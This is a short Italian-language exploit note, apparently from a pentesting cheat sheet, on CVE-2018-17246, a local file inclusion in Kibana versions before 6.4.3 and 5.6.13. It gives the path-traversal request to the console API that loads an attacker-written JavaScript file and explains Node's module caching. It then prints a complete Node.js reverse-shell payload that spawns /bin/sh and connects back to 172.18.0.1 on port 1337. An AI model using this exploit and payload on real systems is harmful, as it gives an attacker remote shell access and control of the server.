
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
Una Local File Inclusion su Kibana trovata da CyberArk Labs, la LFI può essere utilizzata per eseguire una reverse shell sul server Kibana con il seguente payload:
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../path/to/shell.js
Come hai già intuito, questo attacco deve essere abbinato a un upload di file senza restrizioni o a qualsiasi altra vulnerabilità che ti permetta di scrivere un file sul server.
Non c'è validazione dell'input, quindi possiamo cambiare il nome del file JavaScript in qualsiasi cosa vogliamo. In questo caso, con la tecnica di path traversal, possiamo scegliere qualsiasi file sul server Kibana. Una cosa da tenere presente, tuttavia, è la funzionalità di caching dei moduli di node. In sostanza, poiché la LFI funziona inviando input utente non sanitizzato alla funzione
requiredi node, il modulo incluso (il payload dell'attaccante) verrà memorizzato nella cache per nome file. Ciò significa che non puoi inviare lo stesso payload, ad esempio, per recuperare una reverse shell.

Dettagli della vulnerabilità: https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
Avviso di sicurezza: https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();